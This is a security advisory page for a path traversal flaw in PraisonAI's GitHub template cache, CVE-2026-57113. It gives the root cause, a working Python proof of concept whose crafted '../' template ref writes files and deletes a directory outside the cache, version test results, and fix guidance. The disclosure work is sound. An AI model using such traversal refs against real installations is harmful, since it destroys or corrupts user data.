GHSA-f44v-7qgw-9gh9 CVE-2026-57113 PYSEC-2026-3509
PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion
- Severity
- 8.1 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.40%
- Chance of exploitation in the next 30 days. Higher than 34.72% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- CWE-73 External Control of File Name or Path
- Fix
4.6.59- Upgrade praisonai to this version or later
Description
Summary
PraisonAI's template loader accepts GitHub template URIs with refs, for example
github:owner/repo/template@v1.0.0. The resolver stores the user-controlled
template path and ref verbatim, and the cache layer later joins those values into
~/.praison/cache/templates/github/<owner>/<repo>/<template>/<ref> without
normalizing each segment or checking that the final path remains inside the
template cache root.
A crafted ref such as ../../../../../../outside-delete-target therefore
escapes the cache directory. The first load can write .cache_meta.json outside
the cache. If the normal cache hierarchy for the same owner/repo/template has
already been created, the same path reaches shutil.rmtree(cache_path) and
removes an attacker-selected outside directory before replacing it with cache
metadata.
This is distinct from the old template Zip Slip advisory. No malicious archive member is needed, and the PoV disables network access entirely. The bug is in cache-key construction for GitHub template URIs.
Affected versions
Confirmed vulnerable:
v2.6.0v3.9.24v3.9.26v4.5.126v4.5.128v4.6.9v4.6.10v4.6.56v4.6.57- current head
2f9677abb2ea68eab864ee8b6a828fd0141612e1
Recommended affected range: >= 2.6.0, <= 4.6.57.
No fixed version is known at the time of this report.
Impact
An attacker who can cause a user or service to load an attacker-supplied PraisonAI GitHub template URI can:
- create
.cache_meta.jsonoutside the template cache directory; - delete a directory reachable by the PraisonAI process after a normal cache entry exists for the same owner/repo/template prefix;
- corrupt user configuration, project state, or application data reachable by the process permissions.
Root cause
Current-head code path:
praisonai/templates/resolver.py:GITHUB_PATTERNcapturespathandrefwith broad regex groups and returns them without segment validation.praisonai/templates/security.py:is_source_allowed()allows GitHub sources by default whenallow_any_githubis true.praisonai/templates/registry.py:get_template()resolves a GitHub URI, fetches the template, calculates a checksum, then callsself.cache.put(...).praisonai/templates/cache.py:_get_cache_path()builds the cache path asself.cache_dir / "github" / resolved.owner / resolved.repo / resolved.path / ref.praisonai/templates/cache.py:put()removes an existingcache_pathwithshutil.rmtree(cache_path), recreates it, copies content, and writes.cache_meta.json.
There is no check equivalent to:
- reject absolute path segments;
- reject
./..in owner, repo, template path, or ref; - resolve the candidate path;
- require
os.path.commonpath([cache_root, candidate]) == cache_root.
Local-only PoV
Run from a PraisonAI source checkout:
from pathlib import Path
from tempfile import TemporaryDirectory
from praisonai.templates.cache import TemplateCache
from praisonai.templates.loader import TemplateLoader
from praisonai.templates.registry import TemplateRegistry
def loader(cache_dir):
cache = TemplateCache(cache_dir=cache_dir)
registry = TemplateRegistry(cache=cache, offline=False)
registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(
RuntimeError("network disabled")
)
return TemplateLoader(cache=cache, registry=registry)
with TemporaryDirectory(prefix="prai-cache-ref-pov-") as tmp:
root = Path(tmp)
cache_dir = root / "cache" / "templates"
write_target = root / "outside-write-target"
loader(cache_dir).load(
"github:attacker/repo/template@../../../../../../outside-write-target"
)
delete_target = root / "outside-delete-target"
delete_target.mkdir()
canary = delete_target / "canary.txt"
canary.write_text("delete-me")
ldr = loader(cache_dir)
ldr.load("github:attacker/repo/template@main")
ldr.load(
"github:attacker/repo/template@../../../../../../outside-delete-target"
)
safe_target = root / "safe-control"
safe_target.mkdir()
safe_canary = safe_target / "canary.txt"
safe_canary.write_text("must-remain")
loader(root / "safe-cache" / "templates").load(
"github:attacker/repo/template@main"
)
print("outside metadata written:", (write_target / ".cache_meta.json").exists())
print("outside canary exists after malicious ref:", canary.exists())
print("safe canary exists after normal ref:", safe_canary.exists())
Expected output:
outside metadata written: True
outside canary exists after malicious ref: False
safe canary exists after normal ref: True
The PoV uses only temporary directories and disables network fetches.
I also confirmed the same behavior without monkeypatching network fetches. With a non-existent GitHub repository, PraisonAI makes real GitHub requests, handles the failed fetch, returns a fallback template config, and still writes/deletes through the escaped cache path. The PoV above disables network only to keep the reproducer deterministic and harmless.
Release sweep
The same PoV was run against checked-out tags:
praisonai-current metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True
praisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True
git log shows the affected template cache/resolver/registry files were added
in the v2.6.0 release commit e7a8ce8e.
Suggested fix
Validate every cache path segment before joining:
- owner and repo: strict GitHub owner/repo-name regex;
- template path: split on
/and reject empty,.,.., and absolute forms; - ref: reject
/, path separators, empty segments,.,.., and absolute forms, or encode/hash the ref before using it in a filesystem path.
Then enforce a final boundary check:
cache_root = self.cache_dir.resolve()
candidate = (cache_root / "github" / owner / repo / safe_path / safe_ref).resolve()
if os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root):
raise ValueError("template cache path escapes cache root")
A more robust design is to hash untrusted URI fields into opaque directory names instead of using raw remote identifiers as path segments.
Also consider failing closed when a GitHub template fetch returns no files. Currently a failed fetch can still result in a cached empty template directory.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| praisonai | >= 2.6.0, < 4.6.59 |
4.6.59 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
praisonai PyPI → 4.6.59
- pip
pip install --upgrade "praisonai>=4.6.59"- poetry
poetry add "praisonai>=4.6.59"- uv
uv add "praisonai>=4.6.59"
Severity breakdown
CVSS 3.1 8.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- High
- Availability
- High
Weakness
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CWE-73: External Control of File Name or Path
The product allows user input to control or influence paths or file names that are used in filesystem operations.
How to prevent it
- Architecture and Design: When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
- Architecture and Design, Operation: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Implementation: Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
- Installation, Operation: Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
- Operation, Implementation: If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
- Testing: Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-26mh-57q7-jfvr PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox | High | Also affects praisonai |
| GHSA-6g6r-q6gw-w8fg PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92) | Critical | Also affects praisonai |
| GHSA-pvph-5j39-v8qc PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server | High | Also affects praisonai |
| GHSA-gfq8-hmph-9gjv PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret | High | Also affects praisonai |
| GHSA-2jgc-f764-c5r2 PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete | High | Also affects praisonai |
| GHSA-pvxx-r596-f5qj PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced | High | Also affects praisonai |
| GHSA-hmfx-4v44-9qw9 PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation | Medium | Also affects praisonai |
| GHSA-rg5q-pp8p-f7jm PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114 | High | Also affects praisonai |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor